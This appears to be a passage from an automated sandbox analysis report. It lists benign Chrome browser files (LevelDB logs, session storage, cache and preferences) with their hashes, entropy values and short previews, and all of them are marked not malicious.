{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 429

Entropy (8bit): 5.268468975104801

Encrypted: false

SSDEEP: 6:ma7mj34q2Pwkn23iKKdKusNpqz4rRIFUtB7x/JZmwP7AjzkwOwkn23iKKdKusNpH:6j34vYf5KkmiuFUt5/k5Jf5Kkm2J

MD5: 41452CE8CA5201EFFFF15AAFAB817AA3

SHA1: A522A5DC39AD8F85367F33BD64382F3B7A021041

SHA-256: E3F7C95912B84090A2FB6490FDB0FB40EDDE3D6F19273AD807FFB51E9FBBE0C4

SHA-512: 26D66FDEAFD85E7E096DB159090499F3A690A75FD45D2A78FF7F732B31C982CFE3941EBDA9454CA4F3F7761B1F7799B1F75CE9D76AC4DC4C851AED2513226C8
1

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.500 554 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\
def\Platform Notifications/MANIFEST-000001.2021/11/25-17:27:42.505 554 Recovering log #3.2021/11/25-17:27:42.506 554 Reusing old log C:\Users\user\AppData\Local
\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG.old 
(copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 429

Entropy (8bit): 5.268468975104801

Encrypted: false

SSDEEP: 6:ma7mj34q2Pwkn23iKKdKusNpqz4rRIFUtB7x/JZmwP7AjzkwOwkn23iKKdKusNpH:6j34vYf5KkmiuFUt5/k5Jf5Kkm2J

MD5: 41452CE8CA5201EFFFF15AAFAB817AA3

SHA1: A522A5DC39AD8F85367F33BD64382F3B7A021041

SHA-256: E3F7C95912B84090A2FB6490FDB0FB40EDDE3D6F19273AD807FFB51E9FBBE0C4

SHA-512: 26D66FDEAFD85E7E096DB159090499F3A690A75FD45D2A78FF7F732B31C982CFE3941EBDA9454CA4F3F7761B1F7799B1F75CE9D76AC4DC4C851AED2513226C8
1
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Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.500 554 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\
def\Platform Notifications/MANIFEST-000001.2021/11/25-17:27:42.505 554 Recovering log #3.2021/11/25-17:27:42.506 554 Reusing old log C:\Users\user\AppData\Local
\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG.old 
(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 80

Entropy (8bit): 3.4921535629071894

Encrypted: false

SSDEEP: 3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl

MD5: 69449520FD9C139C534E2970342C6BD8

SHA1: 230FE369A09DEF748F8CC23AD70FD19ED8D1B885

SHA-256: 3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277

SHA-512: EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E63
67

Malicious: false

Reputation: low

Preview:
*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.2525369297970945

Encrypted: false

SSDEEP: 6:maMi4q2Pwkn23iKKdKusNpZQMxIFUtBOiJZmwPevDkwOwkn23iKKdKusNpZQMFLJ:8BvYf5KkMFUtJ/O5Jf5KkTJ

MD5: 80A517E5CA49A89F259EE1DAA2DFDB09

SHA1: 7C66DFEF0C20B9E8C2E6493CBEC19376437152B1

SHA-256: A22DB56D1D46C92B57F37313A017B4AA67AE301852F2639FAF472CB7BFA4926C

SHA-512: 7A5E9C9FC9A7E2FBA1BB92D16A9C01D1F805EE9D81962F07B279DE1FC83F077C589FF2154CD59E44E3294D8670031528EA90D3BE9A5BA78D13BDDEE546890E5
0

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:58.031 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Session Storage/MANIFEST-000001.2021/11/25-17:27:58.033 1b80 Recovering log #3.2021/11/25-17:27:58.034 1b80 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG.olde/ (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.2525369297970945

Encrypted: false

SSDEEP: 6:maMi4q2Pwkn23iKKdKusNpZQMxIFUtBOiJZmwPevDkwOwkn23iKKdKusNpZQMFLJ:8BvYf5KkMFUtJ/O5Jf5KkTJ

MD5: 80A517E5CA49A89F259EE1DAA2DFDB09

SHA1: 7C66DFEF0C20B9E8C2E6493CBEC19376437152B1

SHA-256: A22DB56D1D46C92B57F37313A017B4AA67AE301852F2639FAF472CB7BFA4926C

SHA-512: 7A5E9C9FC9A7E2FBA1BB92D16A9C01D1F805EE9D81962F07B279DE1FC83F077C589FF2154CD59E44E3294D8670031528EA90D3BE9A5BA78D13BDDEE546890E5
0

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:58.031 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Session Storage/MANIFEST-000001.2021/11/25-17:27:58.033 1b80 Recovering log #3.2021/11/25-17:27:58.034 1b80 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D
58

Malicious: false

Reputation: low

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.2040388180610195

Encrypted: false

SSDEEP: 12:+vYf5KkkGHArBFUtKFCVX/G75Jf5KkkGHAryJ:cYf5KkkGgPgKhtJf5KkkGga

MD5: B36AC8971F4A3749CC760DAFB95DB597

SHA1: BE80DFBE3C0BF305F401A335AFC34BA7C7EFDA9F

SHA-256: CDCFD1C5CD1B3068B0ED41C20B085092997A791AFCECA550A7DC25547C0C980A

SHA-512: EFB6475F02E02D67B0EF3631C8D0A723CB84520F5D8C55812C4F736147077306B72A24D048C984C5C1E252BEB4D9E50BAB59007B4F626999C46DFA0F74F6F498

Malicious: false

Reputation: low

Preview:
2021/11/25-17:28:21.616 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Local Storage\leveldb/MANIFEST-000001.2021/11/25-17:28:21.618 1b80 Recovering log #3.2021/11/25-17:28:21.619 1b80 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG.old (
copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.2040388180610195

Encrypted: false

SSDEEP: 12:+vYf5KkkGHArBFUtKFCVX/G75Jf5KkkGHAryJ:cYf5KkkGgPgKhtJf5KkkGga

MD5: B36AC8971F4A3749CC760DAFB95DB597

SHA1: BE80DFBE3C0BF305F401A335AFC34BA7C7EFDA9F

SHA-256: CDCFD1C5CD1B3068B0ED41C20B085092997A791AFCECA550A7DC25547C0C980A

SHA-512: EFB6475F02E02D67B0EF3631C8D0A723CB84520F5D8C55812C4F736147077306B72A24D048C984C5C1E252BEB4D9E50BAB59007B4F626999C46DFA0F74F6F498

Malicious: false

Reputation: low

Preview:
2021/11/25-17:28:21.616 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Local Storage\leveldb/MANIFEST-000001.2021/11/25-17:28:21.618 1b80 Recovering log #3.2021/11/25-17:28:21.619 1b80 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State62 (cop
y)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y

MD5: B0429187E1BE99DE4D548DC5B2EDEA0A
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SHA1: B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03

SHA-512: 233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2
F7ED

Malicious: false

Reputation: low

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State62 (cop
y)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 432

Entropy (8bit): 5.239524971545135

Encrypted: false

SSDEEP: 12:qOvYf5KkkGHArqiuFUtSmZ/tW5Jf5KkkGHArq2J:fYf5KkkGgCgSmfAJf5KkkGg7

MD5: 3AD8E521FDDE3D912AC5D32629EA4667

SHA1: D6BC9E59A191C21CD44442F673C66FC7D66171FC

SHA-256: 3278A26771693AE69B7770526922091C54EA95BC22B4A2064B7635224ECAD7A7

SHA-512: BBF926FE9EEB506A946D342FE5F75A90FD3AF8D8F19C11C3B5BF8FFD030AB3672D19EDD30F37E57E0E0D7E85FB87F3D9BBFF471584B9D3F5CE3CAEC28061FC
93

Malicious: false

Reputation: low

Preview:
2021/11/25-17:28:21.653 1538 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Platform Notifications/MANIFEST-000001.2021/11/25-17:28:21.654 1538 Recovering log #3.2021/11/25-17:28:21.655 1538 Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG.old 
(copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 432

Entropy (8bit): 5.239524971545135

Encrypted: false

SSDEEP: 12:qOvYf5KkkGHArqiuFUtSmZ/tW5Jf5KkkGHArq2J:fYf5KkkGgCgSmfAJf5KkkGg7

MD5: 3AD8E521FDDE3D912AC5D32629EA4667

SHA1: D6BC9E59A191C21CD44442F673C66FC7D66171FC

SHA-256: 3278A26771693AE69B7770526922091C54EA95BC22B4A2064B7635224ECAD7A7

SHA-512: BBF926FE9EEB506A946D342FE5F75A90FD3AF8D8F19C11C3B5BF8FFD030AB3672D19EDD30F37E57E0E0D7E85FB87F3D9BBFF471584B9D3F5CE3CAEC28061FC
93

Malicious: false

Reputation: low

Preview:
2021/11/25-17:28:21.653 1538 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Platform Notifications/MANIFEST-000001.2021/11/25-17:28:21.654 1538 Recovering log #3.2021/11/25-17:28:21.655 1538 Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 80

Entropy (8bit): 3.4921535629071894

Encrypted: false

SSDEEP: 3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl

MD5: 69449520FD9C139C534E2970342C6BD8

SHA1: 230FE369A09DEF748F8CC23AD70FD19ED8D1B885

SHA-256: 3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277

SHA-512: EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E63
67

Malicious: false

Reputation: low
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Preview:
*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.201635291832252

Encrypted: false

SSDEEP: 12:bzvYf5KkkGHArAFUtZo/TN5Jf5KkkGHArfJ:3Yf5KkkGgkgmJf5KkkGgV

MD5: 8CB4AA8BA4CE146B2884935BFCBC33AD

SHA1: 81D5755025A0A001DDA188A3C0C6DE1737FA303A

SHA-256: 9715E294A7CE7E12174723F8D74871CAEA413A940CC2EAA895339620C6D84151

SHA-512: 2D5B1B3678508ED03DFAE3AE4847F4EC304843676983470BBB948A2009DC06BCAD6D7F5AE01E5214E6ED3B67B4990CE01A49AB51C4915A04AB697C10F5DC9CB
3

Malicious: false

Reputation: low

Preview:
2021/11/25-17:28:36.864 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Session Storage/MANIFEST-000001.2021/11/25-17:28:36.866 1ce0 Recovering log #3.2021/11/25-17:28:36.867 1ce0 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG.olde/ (copy
)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.201635291832252

Encrypted: false

SSDEEP: 12:bzvYf5KkkGHArAFUtZo/TN5Jf5KkkGHArfJ:3Yf5KkkGgkgmJf5KkkGgV

MD5: 8CB4AA8BA4CE146B2884935BFCBC33AD

SHA1: 81D5755025A0A001DDA188A3C0C6DE1737FA303A

SHA-256: 9715E294A7CE7E12174723F8D74871CAEA413A940CC2EAA895339620C6D84151

SHA-512: 2D5B1B3678508ED03DFAE3AE4847F4EC304843676983470BBB948A2009DC06BCAD6D7F5AE01E5214E6ED3B67B4990CE01A49AB51C4915A04AB697C10F5DC9CB
3

Malicious: false

Reputation: low

Preview:
2021/11/25-17:28:36.864 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Session Storage/MANIFEST-000001.2021/11/25-17:28:36.866 1ce0 Recovering log #3.2021/11/25-17:28:36.867 1ce0 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\f1547f71-f675-4f8a-8e95-2237237
ab162.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y

MD5: B0429187E1BE99DE4D548DC5B2EDEA0A

SHA1: B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03

SHA-512: 233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2
F7ED

Malicious: false

Reputation: low

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped
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Size (bytes): 198

Entropy (8bit): 2.871724756892511

Encrypted: false

SSDEEP: 3:sLollttz6sjlGXU2tk0lkGgGgGgGgGgGgGg:qolXtWswXU2tkEtttttt

MD5: 1F7F208858A1F652FA7AE45C3C7510C9

SHA1: E3B7E0FB73EE579B9E8B6E29F9D9CCD783050A5D

SHA-256: 81B396566964F665632A83714FF09AFE24C96E8E5401A588B943D721669DE6F4

SHA-512: CFB0EA1566CD946F39159F01DCECCCD98FF4DCC10CD30F85E9BB86AF8661ACF8B9AD0E6C3E915FDAC93959C64158723673EB877ECFEC078C1C82A2E11066B
A01

Malicious: false

Reputation: low

Preview:
...n'................_mts_schema_descriptor.....F..................F..................F..................F..................F..................F..................F..................F................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 324

Entropy (8bit): 5.236989661812149

Encrypted: false

SSDEEP: 6:ma7Eu1+q2Pwkn23iKKdKpIFUtB7OuvZZmwP7DVkwOwkn23iKKdKa/WLJ:Iu1+vYf5KkmFUtJvZ/vV5Jf5KkaUJ

MD5: 97A7215D6921236828ED85FB59B26911

SHA1: 1B12DF77B4FBD24AF5F7749522FC0968E833B7D7

SHA-256: D9B7635D255205717FD667F740F72C18071DBC5A74E9DE582212DD11C8904E07

SHA-512: 78759347957D16E0BF283224C83B44E133EA077B0C1ED84AC4D603EB4367637A7F4B8E22E5E93052FDAB6C54812B388B7D3EF145C4A9D8C7C6147CD9561B2A65

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:41.903 1b7c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/11/25-
17:27:41.909 1b7c Recovering log #3.2021/11/25-17:27:41.910 1b7c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/
000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.oldMP (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 324

Entropy (8bit): 5.236989661812149

Encrypted: false

SSDEEP: 6:ma7Eu1+q2Pwkn23iKKdKpIFUtB7OuvZZmwP7DVkwOwkn23iKKdKa/WLJ:Iu1+vYf5KkmFUtJvZ/vV5Jf5KkaUJ

MD5: 97A7215D6921236828ED85FB59B26911

SHA1: 1B12DF77B4FBD24AF5F7749522FC0968E833B7D7

SHA-256: D9B7635D255205717FD667F740F72C18071DBC5A74E9DE582212DD11C8904E07

SHA-512: 78759347957D16E0BF283224C83B44E133EA077B0C1ED84AC4D603EB4367637A7F4B8E22E5E93052FDAB6C54812B388B7D3EF145C4A9D8C7C6147CD9561B2A65

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:41.903 1b7c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/11/25-
17:27:41.909 1b7c Recovering log #3.2021/11/25-17:27:41.910 1b7c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/
000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 402

Entropy (8bit): 5.289388928895522

Encrypted: false

SSDEEP: 6:maVPxQ+q2Pwkn23iKKdKks8Y5JKKhdIFUtBVJ+SgZmwPV4QVkwOwkn23iKKdKksp:g+vYf5KkkOrsFUt1+X/TV5Jf5KkkOrzJ

MD5: 344A32F69A5C7AE4A033D3DE73475FA2

SHA1: 66878C2ABCB19DD63C56BAEAE6D7D3F081C9DAF3

SHA-256: 4459ECC5DE185A9D7D8C0C17D1FDFEBFC64AFD28E75FBADCDEE46F58DB60E9D8

SHA-512: 080241843086FA6A478F208A1C88CE24773CDA965010C8C1BF2A7E19B432FE88F066DC28D25EE6047365176616648DCEE0BBC2FD4068DD171FF01618AA549264

Malicious: false

Reputation: low
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Preview:
2021/11/25-17:29:14.313 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmb
meomcjbeemfm/MANIFEST-000001.2021/11/25-17:29:14.315 1cdc Recovering log #3.2021/11/25-17:29:14.316 1cdc Reusing old log C:\Users\user\AppData\Local\G
oogle\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG.oldpt (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 402

Entropy (8bit): 5.289388928895522

Encrypted: false

SSDEEP: 6:maVPxQ+q2Pwkn23iKKdKks8Y5JKKhdIFUtBVJ+SgZmwPV4QVkwOwkn23iKKdKksp:g+vYf5KkkOrsFUt1+X/TV5Jf5KkkOrzJ

MD5: 344A32F69A5C7AE4A033D3DE73475FA2

SHA1: 66878C2ABCB19DD63C56BAEAE6D7D3F081C9DAF3

SHA-256: 4459ECC5DE185A9D7D8C0C17D1FDFEBFC64AFD28E75FBADCDEE46F58DB60E9D8

SHA-512: 080241843086FA6A478F208A1C88CE24773CDA965010C8C1BF2A7E19B432FE88F066DC28D25EE6047365176616648DCEE0BBC2FD4068DD171FF01618AA549264

Malicious: false

Reputation: low

Preview:
2021/11/25-17:29:14.313 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmb
meomcjbeemfm/MANIFEST-000001.2021/11/25-17:29:14.315 1cdc Recovering log #3.2021/11/25-17:29:14.316 1cdc Reusing old log C:\Users\user\AppData\Local\G
oogle\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Visited Links
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 131072

Entropy (8bit): 0.0033769341339387224

Encrypted: false

SSDEEP: 3:ImtVuQ+Xa/lfsxlX:IiVuQAeExlX

MD5: AE9BA1622BBB9AC71A878BEFC8A5DE02

SHA1: F55A5C1F4E2189FEF22DFDD2EBC43ACE1DDCCE7F

SHA-256: DDBF2ABE51B59494037FEC9D99C7BDF5F0E3A89981653A53F519C782B1C458AB

SHA-512: 1F260FEB3BE55D4AA0F9F41CC9A55555F3AD50C285415E0886D0112E8CFDEB5A73F62D4F313F8CAA92F51D039F5B302F1828CA08C838BD8C0EC8B0A137C9BDE
6

Malicious: false

Reputation: low

Preview:
VLnk.....?........g..H..............................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\c1c2605e-5751-4a30-9f09-fafdece2bee9.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17092

Entropy (8bit): 5.582661303351222

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUDxld4eVV843:1LlXa1kXqKf/pUZNCgVLH2HfjrUDSeVb

MD5: 355AA57BF2E2D6FA5062282C69284F78

SHA1: 8E28DCA2371C49591AAA20023E1542B83F38469C

SHA-256: 1B0842A720AF2A8B4FD7B18DDCC2A7159BDCBFFFC887DAEC62AB4EABE1609969

SHA-512: 731EA6E0F892B1D1E970149E0CD8968C7DB51738A500721E9299B98ED259EDB7A442C067FAA6FAF6C44207EA516E2A3899622657D633764BA9DAE9F7BD231C66

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
